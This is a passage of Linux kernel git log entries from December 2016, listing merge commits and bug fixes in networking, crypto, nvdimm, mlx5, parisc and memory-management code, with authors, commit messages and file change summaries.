Merge: 68f5503 55f856e Author: Linus Torvalds Date: Wed Dec 7 11:39:27 2016 -0800 Merge branch 'x86-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull x86 fixes from Ingo Molnar: "Misc fixes: a core dumping crash fix, a guess-unwinder regression fix, plus three build warning fixes" * 'x86-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: x86/unwind: Fix guess-unwinder regression x86/build: Annotate die() with noreturn to fix build warning on clang x86/platform/olpc: Fix resume handler build warning x86/apic/uv: Silence a shift wrapping warning x86/coredump: Always use user_regs_struct for compat_elf_gregset_t commit 68f5503bdc8fc309b62a4f555a048ee50d0495a5 Merge: bf7f1c7 83929cc Author: Linus Torvalds Date: Wed Dec 7 11:35:55 2016 -0800 Merge branch 'sched-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull scheduler fix from Ingo Molnar: "An autogroup nice level adjustment bug fix" * 'sched-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: sched/autogroup: Fix 64-bit kernel nice level adjustment commit bf7f1c7e2fdfe8b5050e8b3eebf111bf2ed1e8c9 Merge: 5b43f97 8fc31ce Author: Linus Torvalds Date: Wed Dec 7 11:32:19 2016 -0800 Merge branch 'perf-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull perf fixes from Ingo Molnar: "A bogus warning fix, a counter width handling fix affecting certain machines, plus a oneliner hw-enablement patch for Knights Mill CPUs" * 'perf-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: perf/core: Remove invalid warning from list_update_cgroup_even()t perf/x86: Fix full width counter, counter overflow perf/x86/intel: Enable C-state residency events for Knights Mill commit 5b43f97f3f21c42ba738df2797930e32e05d5a25 Merge: 407cf05 f943fe0 Author: Linus Torvalds Date: Wed Dec 7 11:27:33 2016 -0800 Merge branch 'locking-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull locking fixes from Ingo Molnar: "Two rtmutex race fixes (which miraculously never triggered, that we know of), plus two lockdep printk formatting regression fixes" * 'locking-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: lockdep: Fix report formatting locking/rtmutex: Use READ_ONCE() in rt_mutex_owner() locking/rtmutex: Prevent dequeue vs. unlock race locking/selftest: Fix output since KERN_CONT changes commit 407cf05d46fe59e2becfad3a55387d172f6fd0d0 Merge: ce779d6 69042bf Author: Linus Torvalds Date: Wed Dec 7 10:56:00 2016 -0800 Merge branch 'core-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull objtool fix from Ingo Molnar: "A single late breaking fix for objtool" * 'core-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: objtool: Fix bytes check of lea's rex_prefix commit ec988ad78ed6d184a7f4ca6b8e962b0e8f1de461 Author: Florian Fainelli Date: Tue Dec 6 20:54:43 2016 -0800 phy: Don't increment MDIO bus refcount unless it's a different owner Commit 3e3aaf649416 ("phy: fix mdiobus module safety") fixed the way we dealt with MDIO bus module reference count, but sort of introduced a regression in that, if an Ethernet driver registers its own MDIO bus driver, as is common, we will end up with the Ethernet driver's module->refnct set to 1, thus preventing this driver from any removal. Fix this by comparing the network device's device driver owner against the MDIO bus driver owner, and only if they are different, increment the MDIO bus module refcount. Fixes: 3e3aaf649416 ("phy: fix mdiobus module safety") Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/phy/phy_device.c | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) commit a50af86dd49ee1851d1ccf06dd0019c05b95e297 Author: stephen hemminger Date: Tue Dec 6 13:43:54 2016 -0800 netvsc: reduce maximum GSO size Hyper-V (and Azure) support using NVGRE which requires some extra space for encapsulation headers. Because of this the largest allowed TSO packet is reduced. For older releases, hard code a fixed reduced value. For next release, there is a better solution which uses result of host offload negotiation. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/netvsc_drv.c | 5 +++++ 1 file changed, 5 insertions(+) commit 74685b08fbb26ff5b8448fabe0941a53269dd33e Author: Alex Date: Tue Dec 6 10:56:51 2016 -0800 drivers: net: cpsw-phy-sel: Clear RGMII_IDMODE on "rgmii" links Support for setting the RGMII_IDMODE bit was added in the commit referenced below. However, that commit did not add the symmetrical clearing of the bit by way of setting it in "mask". Add it here. Note that the documentation marks clearing this bit as "reserved", however, according to TI, support for delaying the clock does exist in the MAC, although it is not officially supported. We tested this on a board with an RGMII to RGMII link that will not work unless this bit is cleared. Fixes: 0fb26c3063ea ("drivers: net: cpsw-phy-sel: add support to configure rgmii internal delay") Signed-off-by: Alexandru Gagniuc Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw-phy-sel.c | 1 + 1 file changed, 1 insertion(+) commit 233900d8857dc426557751e30b2150778974417c Merge: bc3913a 332b05c Author: David S. Miller Date: Wed Dec 7 12:07:09 2016 -0500 Merge tag 'linux-can-fixes-for-4.9-20161207' of git://git.kernel.org/pub/scm/linux/kernel/git/mkl/linux-can Marc Kleine-Budde says: ==================== pull-request: can 2016-12-07 Andrey Konovalov triggered a warning in the CAN RAW layer, which is fixed by a patch by me. ==================== Signed-off-by: David S. Miller commit ce779d6b5bbe6a32452a882605d09518cc79e4ba Merge: f27c2f6 c01638f Author: Linus Torvalds Date: Wed Dec 7 08:45:23 2016 -0800 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/mszeredi/fuse Pull fuse fix from Miklos Szeredi: "Fix a regression spotted by Jeff Layton" * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/mszeredi/fuse: fuse: fix clearing suid, sgid for chown() commit f27c2f69cc8edc03ea8086f974811b9b45b2f3a5 Author: Linus Torvalds Date: Wed Dec 7 08:39:00 2016 -0800 Revert "default exported asm symbols to zero" This reverts commit 8ab2ae655bfe384335c5b6b0d6041e0ddce26b00. I loved that commit because of how it explained what the problem with newer versions of binutils were, but the actual patch itself turns out to not work very well. It has two problems: - a zero CRC value isn't actually right. It happens to work for the case where both sides of the equation fail at giving the symbol a crc, but there are cases where the users of the exported symbol get the right crc (due to seeing the C declarations), but the actual exporting itself does not (due to the whole weak asm symbol issue). So then the module load fails after all - we did have a crc for the symbol, but we couldn't match it with the loaded module. - it seems that the alpha assembler has special semantics for the '.set' directive, and on alpha it doesn't actually set the value of the specified symbol at all, it is instead used to set various assembly modes (eg ".set noat" and ".set noreorder"). So using ".set" to set the symbol value would just cause build failures on alpha. I'm sure we'll find some other workaround for these issues (hopefully that involves getting rid of modversions entirely some day, but people are also talking about just using smarter tools). But for now we'll just fall back on commit faaae2a58143 ("Re-enable CONFIG_MODVERSIONS in a slightly weaker form") that just let's a missing crc through. Reported-by: Jan Stancek Reported-by: Philip Müller Reported-by: Guenter Roeck Cc: Arnd Bergmann Signed-off-by: Linus Torvalds include/asm-generic/export.h | 1 - 1 file changed, 1 deletion(-) commit a0ac402cfcdc904f9772e1762b3fda112dcc56a0 Author: Linus Torvalds Date: Tue Dec 6 16:18:14 2016 -0800 Don't feed anything but regular iovec's to blk_rq_map_user_iov In theory we could map other things, but there's a reason that function is called "user_iov". Using anything else (like splice can do) just confuses it. Reported-and-tested-by: Johannes Thumshirn Cc: Al Viro Signed-off-by: Linus Torvalds block/blk-map.c | 4 ++++ 1 file changed, 4 insertions(+) commit faefba95c9e8ca3a523831c2ec2150f5ea054dae Author: Alex Deucher Date: Tue Dec 6 10:38:29 2016 -0500 drm/amdgpu: just suspend the hw on pci shutdown We can't just reuse pci_remove as there may be userspace still doing things. Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=98638 Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97980 Reviewed-by: Christian König Reported-and-tested-by: Mike Lothian Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 1 + drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 2 +- drivers/gpu/drm/amd/amdgpu/amdgpu_drv.c | 5 ++++- 3 files changed, 6 insertions(+), 2 deletions(-) commit 48a992727d82cb7db076fa15d372178743b1f4cd Author: tim Date: Mon Dec 5 11:46:31 2016 -0800 crypto: mcryptd - Check mcryptd algorithm compatibility Algorithms not compatible with mcryptd could be spawned by mcryptd with a direct crypto_alloc_tfm invocation using a "mcryptd(alg)" name construct. This causes mcryptd to crash the kernel if an arbitrary "alg" is incompatible and not intended to be used with mcryptd. It is an issue if AF_ALG tries to spawn mcryptd(alg) to expose it externally. But such algorithms must be used internally and not be exposed. We added a check to enforce that only internal algorithms are allowed with mcryptd at the time mcryptd is spawning an algorithm. Link: http://marc.info/?l=linux-crypto-vger&m=148063683310477&w=2 Cc: stable@vger.kernel.org Reported-by: Mikulas Patocka Signed-off-by: Tim Chen Signed-off-by: Herbert Xu crypto/mcryptd.c | 19 ++++++++++++------- 1 file changed, 12 insertions(+), 7 deletions(-) commit 0c1e16cd1ec41987cc6671a2bff46ac958c41eb5 Author: Stephan Mueller Date: Mon Dec 5 15:26:19 2016 +0100 crypto: algif_aead - fix AEAD tag memory handling For encryption, the AEAD ciphers require AAD || PT as input and generate AAD || CT || Tag as output and vice versa for decryption. Prior to this patch, the AF_ALG interface for AEAD ciphers requires the buffer to be present as input for encryption. Similarly, the output buffer for decryption required the presence of the tag buffer too. This implies that the kernel reads / writes data buffers from/to kernel space even though this operation is not required. This patch changes the AF_ALG AEAD interface to be consistent with the in-kernel AEAD cipher requirements. Due to this handling, he changes are transparent to user space with one exception: the return code of recv indicates the mount of output buffer. That output buffer has a different size compared to before the patch which implies that the return code of recv will also be different. For example, a decryption operation uses 16 bytes AAD, 16 bytes CT and 16 bytes tag, the AF_ALG AEAD interface before showed a recv return code of 48 (bytes) whereas after this patch, the return code is 32 since the tag is not returned any more. Reported-by: Mat Martineau Signed-off-by: Stephan Mueller Signed-off-by: Herbert Xu crypto/algif_aead.c | 57 +++++++++++++++++++++++++++++++++-------------------- 1 file changed, 36 insertions(+), 21 deletions(-) commit 39eaf759466f4e3fbeaa39075512f4f345dffdc8 Author: Horia Geantă Date: Mon Dec 5 11:06:58 2016 +0200 crypto: caam - fix pointer size for AArch64 boot loader, AArch32 kernel Start with a clean slate before dealing with bit 16 (pointer size) of Master Configuration Register. This fixes the case of AArch64 boot loader + AArch32 kernel, when the boot loader might set MCFGR[PS] and kernel would fail to clear it. Cc: Reported-by: Alison Wang Signed-off-by: Horia Geantă Reviewed-By: Alison Wang Signed-off-by: Herbert Xu drivers/crypto/caam/ctrl.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 9e5f7a149e00d211177f6de8be427ebc72a1c363 Author: Romain Perier Date: Mon Dec 5 09:56:39 2016 +0100 crypto: marvell - Don't corrupt state of an STD req for re-stepped ahash mv_cesa_hash_std_step() copies the creq->state into the SRAM at each step, but this is only required on the first one. By doing that, we overwrite the engine state, and get erroneous results when the crypto request is split in several chunks to fit in the internal SRAM. This commit changes the function to copy the state only on the first step. Fixes: commit 2786cee8e50b ("crypto: marvell - Move SRAM I/O op...") Signed-off-by: Romain Perier Cc: Signed-off-by: Herbert Xu drivers/crypto/marvell/hash.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit 68c7f8c1c4e9b06e6b153fa3e9e0cda2ef5aaed8 Author: Romain Perier Date: Mon Dec 5 09:56:38 2016 +0100 crypto: marvell - Don't copy hash operation twice into the SRAM No need to copy the template of an hash operation twice into the SRAM from the step function. Fixes: commit 85030c5168f1 ("crypto: marvell - Add support for chai...") Signed-off-by: Romain Perier Cc: Signed-off-by: Herbert Xu drivers/crypto/marvell/hash.c | 3 --- 1 file changed, 3 deletions(-) commit 332b05ca7a438f857c61a3c21a88489a21532364 Author: Marc Kleine-Budde Date: Mon Dec 5 11:44:23 2016 +0100 can: raw: raw_setsockopt: limit number of can_filter that can be set This patch adds a check to limit the number of can_filters that can be set via setsockopt on CAN_RAW sockets. Otherwise allocations > MAX_ORDER are not prevented resulting in a warning. Reference: https://lkml.org/lkml/2016/12/2/230 Reported-by: Andrey Konovalov Tested-by: Andrey Konovalov Cc: linux-stable Signed-off-by: Marc Kleine-Budde include/uapi/linux/can.h | 1 + net/can/raw.c | 3 +++ 2 files changed, 4 insertions(+) commit febe42964fe182281859b3d43d844bb25ca49367 Author: John David Anglin Date: Tue Dec 6 22:02:01 2016 -0500 parisc: Remove unnecessary TLB purges from flush_dcache_page_asm and flush_icache_page_asm We have four routines in pacache.S that use temporary alias pages: copy_user_page_asm(), clear_user_page_asm(), flush_dcache_page_asm() and flush_icache_page_asm(). copy_user_page_asm() and clear_user_page_asm() don't purge the TLB entry used for the operation. flush_dcache_page_asm() and flush_icache_page_asm do purge the entry. Presumably, this was thought to optimize TLB use. However, the operation is quite heavy weight on PA 1.X processors as we need to take the TLB lock and a TLB broadcast is sent to all processors. This patch removes the purges from flush_dcache_page_asm() and flush_icache_page_asm. Signed-off-by: John David Anglin Cc: # v3.16+ Signed-off-by: Helge Deller arch/parisc/kernel/pacache.S | 22 +--------------------- 1 file changed, 1 insertion(+), 21 deletions(-) commit c78e710c1c9fbeff43dddc0aa3d0ff458e70b0cc Author: John David Anglin Date: Tue Dec 6 21:47:04 2016 -0500 parisc: Purge TLB before setting PTE The attached change interchanges the order of purging the TLB and setting the corresponding page table entry. TLB purges are strongly ordered. It occurred to me one night that setting the PTE first might have subtle ordering issues on SMP machines and cause random memory corruption. A TLB lock guards the insertion of user TLB entries. So after the TLB is purged, a new entry can't be inserted until the lock is released. This ensures that the new PTE value is used when the lock is released. Since making this change, no random segmentation faults have been observed on the Debian hppa buildd servers. Signed-off-by: John David Anglin Cc: # v3.16+ Signed-off-by: Helge Deller arch/parisc/include/asm/pgtable.h | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 325896ffdf90f7cbd59fb873b7ba20d60d1ddf3c Author: Dan Williams Date: Tue Dec 6 17:03:35 2016 -0800 device-dax: fix private mapping restriction, permit read-only Hugh notes in response to commit 4cb19355ea19 "device-dax: fail all private mapping attempts": "I think that is more restrictive than you intended: haven't tried, but I believe it rejects a PROT_READ, MAP_SHARED, O_RDONLY fd mmap, leaving no way to mmap /dev/dax without write permission to it." Indeed it does restrict read-only mappings, switch to checking VM_MAYSHARE, not VM_SHARED. Cc: Cc: Dave Hansen Cc: Pawel Lebioda Fixes: 4cb19355ea19 ("device-dax: fail all private mapping attempts") Reported-by: Hugh Dickins Signed-off-by: Dan Williams drivers/dax/dax.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a7de92dac9f0dbf01deb56fe1d661d7baac097e1 Author: Dan Williams Date: Mon Dec 5 13:43:25 2016 -0800 tools/testing/nvdimm: unit test acpi_nfit_ctl() A recent flurry of bug discoveries in the nfit driver's DSM marshalling routine has highlighted the fact that we do not have unit test coverage for this routine. Add a self-test of acpi_nfit_ctl() routine before probing the "nfit_test.0" device. This mocks stimulus to acpi_nfit_ctl() and if any of the tests fail "nfit_test.0" will be unavailable causing the rest of the tests to not run / fail. This unit test will also be a place to land reproductions of quirky BIOS behavior discovered in the field and ensure the kernel does not regress against implementations it has seen in practice. Signed-off-by: Dan Williams drivers/acpi/nfit/core.c | 6 +- drivers/acpi/nfit/nfit.h | 2 + tools/testing/nvdimm/Kbuild | 1 + tools/testing/nvdimm/test/iomap.c | 23 +++- tools/testing/nvdimm/test/nfit.c | 236 +++++++++++++++++++++++++++++++++- tools/testing/nvdimm/test/nfit_test.h | 8 +- 6 files changed, 267 insertions(+), 9 deletions(-) commit d6eb270c57fef35798525004ddf2ac5dcdadd43b Author: Dan Williams Date: Tue Dec 6 15:06:55 2016 -0800 acpi, nfit: fix bus vs dimm confusion in xlat_status Given dimms and bus commands share the same command number space we need to be careful that we are translating status in the correct context. Otherwise we can, for example, fail an ND_CMD_GET_CONFIG_SIZE command because max_xfer is zero. It fails because that condition erroneously correlates with the 'cleared == 0' failure of ND_CMD_CLEAR_ERROR. Cc: Fixes: aef253382266 ("libnvdimm, nfit: centralize command status translation") Signed-off-by: Dan Williams drivers/acpi/nfit/core.c | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) commit 82aa37cf09867c5e2c0326649d570e5b25c1189a Author: Dan Williams Date: Tue Dec 6 12:45:24 2016 -0800 acpi, nfit: validate ars_status output buffer size If an ARS Status command returns truncated output, do not process partial records or otherwise consume non-status fields. Cc: Fixes: 0caeef63e6d2 ("libnvdimm: Add a poison list and export badblocks") Signed-off-by: Dan Williams drivers/acpi/nfit/core.c | 21 +++++++++++++++++---- 1 file changed, 17 insertions(+), 4 deletions(-) commit efda1b5d87cbc3d8816f94a3815b413f1868e10d Author: Dan Williams Date: Tue Dec 6 09:10:12 2016 -0800 acpi, nfit, libnvdimm: fix / harden ars_status output length handling Given ambiguities in the ACPI 6.1 definition of the "Output (Size)" field of the ARS (Address Range Scrub) Status command, a firmware implementation may in practice return 0, 4, or 8 to indicate that there is no output payload to process. The specification states "Size of Output Buffer in bytes, including this field.". However, 'Output Buffer' is also the name of the entire payload, and earlier in the specification it states "Max Query ARS Status Output Buffer Size: Maximum size of buffer (including the Status and Extended Status fields)". Without this fix if the BIOS happens to return 0 it causes memory corruption as evidenced by this result from the acpi_nfit_ctl() unit test. ars_status00000000: 00020000 00000000 ........ BUG: stack guard page was hit at ffffc90001750000 (stack is ffffc9000174c000..ffffc9000174ffff) kernel stack overflow (page fault): 0000 [#1] SMP DEBUG_PAGEALLOC task: ffff8803332d2ec0 task.stack: ffffc9000174c000 RIP: 0010:[] [] __memcpy+0x12/0x20 RSP: 0018:ffffc9000174f9a8 EFLAGS: 00010246 RAX: ffffc9000174fab8 RBX: 0000000000000000 RCX: 000000001fffff56 RDX: 0000000000000000 RSI: ffff8803231f5a08 RDI: ffffc90001750000 RBP: ffffc9000174fa88 R08: ffffc9000174fab0 R09: ffff8803231f54b8 R10: 0000000000000008 R11: 0000000000000001 R12: 0000000000000000 R13: 0000000000000000 R14: 0000000000000003 R15: ffff8803231f54a0 FS: 00007f3a611af640(0000) GS:ffff88033ed00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: ffffc90001750000 CR3: 0000000325b20000 CR4: 00000000000406e0 Stack: ffffffffa00bc60d 0000000000000008 ffffc90000000001 ffffc9000174faac 0000000000000292 ffffffffa00c24e4 ffffffffa00c2914 0000000000000000 0000000000000000 ffffffff00000003 ffff880331ae8ad0 0000000800000246 Call Trace: [] ? acpi_nfit_ctl+0x49d/0x750 [nfit] [] nfit_test_probe+0x670/0xb1b [nfit_test] Cc: Fixes: 747ffe11b440 ("libnvdimm, tools/testing/nvdimm: fix 'ars_status' output buffer sizing") Signed-off-by: Dan Williams drivers/acpi/nfit/core.c | 3 ++- drivers/nvdimm/bus.c | 25 ++++++++++++++++++++----- include/linux/libnvdimm.h | 2 +- 3 files changed, 23 insertions(+), 7 deletions(-) commit 9a901f5495e26e691c7d0ea7b6057a2f3e6330ed Author: Vishal Verma Date: Mon Dec 5 17:00:37 2016 -0700 acpi, nfit: fix extended status translations for ACPI DSMs ACPI DSMs can have an 'extended' status which can be non-zero to convey additional information about the command. In the xlat_status routine, where we translate the command statuses, we were returning an error for a non-zero extended status, even if the primary status indicated success. Return from each command's 'case' once we have verified both its status and extend status are good. Cc: Fixes: 11294d63ac91 ("nfit: fail DSMs that return non-zero status by default") Signed-off-by: Vishal Verma Signed-off-by: Dan Williams drivers/acpi/nfit/core.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit bc3913a5378cd0ddefd1dfec6917cc12eb23a946 Merge: da1b466 163117e Author: Linus Torvalds Date: Tue Dec 6 09:24:11 2016 -0800 Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/sparc Pull sparc fix from David Miller: "A use-before-NULL-check from Dan Carpenter" * git://git.kernel.org/pub/scm/linux/kernel/git/davem/sparc: dbri: move dereference after check for NULL commit 163117e8d4fd7a235ec48479e31bbda0c74eff56 Author: Dan Carpenter Date: Thu Dec 1 08:48:30 2016 +0300 dbri: move dereference after check for NULL We accidentally introduced a dereference before the NULL check in xmit_descs() as part of silencing a GCC warning. Fixes: 16f46050e709 ("dbri: Fix compiler warning") Signed-off-by: Dan Carpenter Signed-off-by: David S. Miller sound/sparc/dbri.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit da1b466fa47a9c1107e3709395778845dc3bbad7 Merge: 10d20bd 32f16e1 Author: Linus Torvalds Date: Tue Dec 6 09:06:51 2016 -0800 Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net Pull networking fixes from David Miller: 1) When dcbnl_cee_fill() fails to be able to push a new netlink attribute, it return 0 instead of an error code. From Pan Bian. 2) Two suffix handling fixes to FIB trie code, from Alexander Duyck. 3) bnxt_hwrm_stat_ctx_alloc() goes through all the trouble of setting and maintaining a return code 'rc' but fails to actually return it. Also from Pan Bian. 4) ping socket ICMP handler needs to validate ICMP header length, from Kees Cook. 5) caif_sktinit_module() has this interesting logic: int err = sock_register(...); if (!err) return err; return 0; Just return sock_register()'s return value directly which is the only possible correct thing to do. 6) Two bnx2x driver fixes from Yuval Mintz, return a reasonable estimate from get_ringparam() ethtool op when interface is down and avoid trying to use UDP port based tunneling on 577xx chips. 7) Fix ep93xx_eth crash on module unload from Florian Fainelli. 8) Missing uapi exports, from Stephen Hemminger. 9) Don't schedule work from sk_destruct(), because the socket will be freed upon return from that function. From Herbert Xu. 10) Buggy drivers, of which we know there is at least one, can send a huge packet into the TCP stack but forget to set the gso_size in the SKB, which causes all kinds of problems. Correct this when it happens, and emit a one-time warning with the device name included so that it can be diagnosed more easily. From Marcelo Ricardo Leitner. 11) virtio-net does DMA off the stack causes hiccups with VMAP_STACK, fix from Andy Lutomirski. 12) Fix fec driver compilation with CONFIG_M5272, from Nikita Yushchenko. 13) mlx5 fixes from Kamal Heib, Saeed Mahameed, and Mohamad Haj Yahia. (erroneously flushing queues on error, module parameter validation, etc) * git://git.kernel.org/pub/scm/linux/kernel/git/davem/net: (34 commits) net/mlx5e: Change the SQ/RQ operational state to positive logic net/mlx5e: Don't flush SQ on error net/mlx5e: Don't notify HW when filling the edge of ICO SQ net/mlx5: Fix query ISSI flow net/mlx5: Remove duplicate pci dev name print net/mlx5: Verify module parameters net: fec: fix compile with CONFIG_M5272 be2net: Add DEVSEC privilege to SET_HSW_CONFIG command. virtio-net: Fix DMA-from-the-stack in virtnet_set_mac_address() tcp: warn on bogus MSS and try to amend it uapi glibc compat: fix outer guard of net device flags enum net: stmmac: clear reset value of snps, wr_osr_lmt/snps, rd_osr_lmt before writing netlink: Do not schedule work from sk_destruct uapi: export nf_log.h uapi: export tc_skbmod.h net: ep93xx_eth: Do not crash unloading module bnx2x: Prevent tunnel config for 577xx bnx2x: Correct ringparam estimate when DOWN isdn: hisax: set error code on failure net: bnx2x: fix improper return value ... commit 10d20bd25e06b220b1d816228b036e367215dc60 Author: Linus Torvalds Date: Mon Dec 5 12:10:29 2016 -0800 shmem: fix shm fallocate() list corruption The shmem hole punching with fallocate(FALLOC_FL_PUNCH_HOLE) does not want to race with generating new pages by faulting them in. However, the wait-queue used to delay the page faulting has a serious problem: the wait queue head (in shmem_fallocate()) is allocated on the stack, and the code expects that "wake_up_all()" will make sure that all the queue entries are gone before the stack frame is de-allocated. And that is not at all necessarily the case. Yes, a normal wake-up sequence will remove the wait-queue entry that caused the wakeup (see "autoremove_wake_function()"), but the key wording there is "that caused the wakeup". When there are multiple possible wakeup sources, the wait queue entry may well stay around. And _particularly_ in a page fault path, we may be faulting in new pages from user space while we also have other things going on, and there may well be other pending wakeups. So despite the "wake_up_all()", it's not at all guaranteed that all list entries are removed from the wait queue head on the stack. Fix this by introducing a new wakeup function that removes the list entry unconditionally, even if the target process had already woken up for other reasons. Use that "synchronous" function to set up the waiters in shmem_fault(). This problem has never been seen in the wild afaik, but Dave Jones has reported it on and off while running trinity. We thought we fixed the stack corruption with the blk-mq rq_list locking fix (commit 7fe311302f7d: "blk-mq: update hardware and software queues for sleeping alloc"), but it turns out there was _another_ stack corruptor hiding in the trinity runs. Vegard Nossum (also running trinity) was able to trigger this one fairly consistently, and made us look once again at the shmem code due to the faults often being in that area. Reported-and-tested-by: Vegard Nossum . Reported-by: Dave Jones Signed-off-by: Linus Torvalds mm/shmem.c | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) commit 32f16e142d7acabad68ef27c123d0caf1548aac3 Merge: f85de66 c0f1147 Author: David S. Miller Date: Tue Dec 6 11:44:45 2016 -0500 Merge branch 'mlx5-fixes' Saeed Mahameed says: ==================== Mellanox 100G mlx5 fixes 2016-12-04 Some bug fixes for mlx5 core and mlx5e driver. v1->v2: - replace "uint" with "unsigned int" ==================== Signed-off-by: David S. Miller commit c0f1147d14e4b09018a495c5095094e5707a4f44 Author: Mohamad Haj Yahia Date: Tue Dec 6 17:32:48 2016 +0200 net/mlx5e: Change the SQ/RQ operational state to positive logic When using the negative logic (i.e. FLUSH state), after the RQ/SQ reopen we will have a time interval that the RQ/SQ is not really ready and the state indicates that its not in FLUSH state because the initial SQ/RQ struct memory starts as zeros. Now we changed the state to indicate if the SQ/RQ is opened and we will set the READY state after finishing preparing all the SQ/RQ resources. Fixes: 6e8dd6d6f4bd ("net/mlx5e: Don't wait for SQ completions on close") Fixes: f2fde18c52a7 ("net/mlx5e: Don't wait for RQ completions on close") Signed-off-by: Mohamad Haj Yahia Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en.h | 4 ++-- drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 14 +++++++++----- drivers/net/ethernet/mellanox/mlx5/core/en_rx.c | 6 +++--- drivers/net/ethernet/mellanox/mlx5/core/en_tx.c | 2 +- drivers/net/ethernet/mellanox/mlx5/core/en_txrx.c | 4 ++-- 5 files changed, 17 insertions(+), 13 deletions(-) commit 3c8591d593a3da9ae8e8342acb1f6ab9ab478e92 Author: Saeed Mahameed Date: Tue Dec 6 17:32:47 2016 +0200 net/mlx5e: Don't flush SQ on error We are doing SQ descriptors cleanup in driver. Fixes: 6e8dd6d6f4bd ("net/mlx5e: Don't wait for SQ completions on close") Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 1 - 1 file changed, 1 deletion(-) commit b8335d91b472289939e26428dfa88c54aee3b739 Author: Saeed Mahameed Date: Tue Dec 6 17:32:46 2016 +0200 net/mlx5e: Don't notify HW when filling the edge of ICO SQ We are going to do this a couple of steps ahead anyway. Fixes: d3c9bc2743dc ("net/mlx5e: Added ICO SQs") Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en_rx.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f9c14e46748be9a2adafdb7d216f6cdeb435aadc Author: Kamal Heib Date: Tue Dec 6 17:32:45 2016 +0200 net/mlx5: Fix query ISSI flow In old FWs query ISSI command is not supported and for some of those FWs it might fail with status other than "MLX5_CMD_STAT_BAD_OP_ERR". In such case instead of failing the driver load, we will treat any FW status other than 0 for Query ISSI FW command as ISSI not supported and assume ISSI=0 (most basic driver/FW interface). In case of driver syndrom (query ISSI failure by driver) we will fail driver load. Fixes: f62b8bb8f2d3 ('net/mlx5: Extend mlx5_core to support ConnectX-4 Ethernet functionality') Signed-off-by: Kamal Heib Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/cmd.c | 5 ----- drivers/net/ethernet/mellanox/mlx5/core/main.c | 15 +++++++++------ drivers/net/ethernet/mellanox/mlx5/core/mlx5_core.h | 5 +++++ 3 files changed, 14 insertions(+), 11 deletions(-) commit 9e5b2fc1d39b3122e2028849d0edc5df1d1a4761 Author: Kamal Heib Date: Tue Dec 6 17:32:44 2016 +0200 net/mlx5: Remove duplicate pci dev name print Remove duplicate pci dev name printing from mlx5_core_warn/dbg. Fixes: 5a7883989b1c ('net/mlx5_core: Improve mlx5 messages') Signed-off-by: Kamal Heib Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/mlx5_core.h | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit f663ad98623926b8d7bdef4b4648d10c0229aebe Author: Kamal Heib Date: Tue Dec 6 17:32:43 2016 +0200 net/mlx5: Verify module parameters Verify the mlx5_core module parameters by making sure that they are in the expected range and if they aren't restore them to their default values. Fixes: 9603b61de1ee ('mlx5: Move pci device handling from mlx5_ib to mlx5_core') Signed-off-by: Kamal Heib Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/main.c | 27 +++++++++++++--------- .../net/ethernet/mellanox/mlx5/core/mlx5_core.h | 2 +- 2 files changed, 17 insertions(+), 12 deletions(-) commit f85de6666347c974cdf97b1026180995d912d7d0 Author: Nikita Yushchenko Date: Tue Dec 6 09:26:53 2016 +0300 net: fec: fix compile with CONFIG_M5272 Commit 80cca775cdc4 ("net: fec: cache statistics while device is down") introduced unconditional statistics-related actions. However, when driver is compiled with CONFIG_M5272, staticsics-related definitions do not exist, which results into build errors. Fix that by adding explicit handling of !defined(CONFIG_M5272) case. Fixes: 80cca775cdc4 ("net: fec: cache statistics while device is down") Signed-off-by: Nikita Yushchenko Signed-off-by: David S. Miller drivers/net/ethernet/freescale/fec_main.c | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) commit 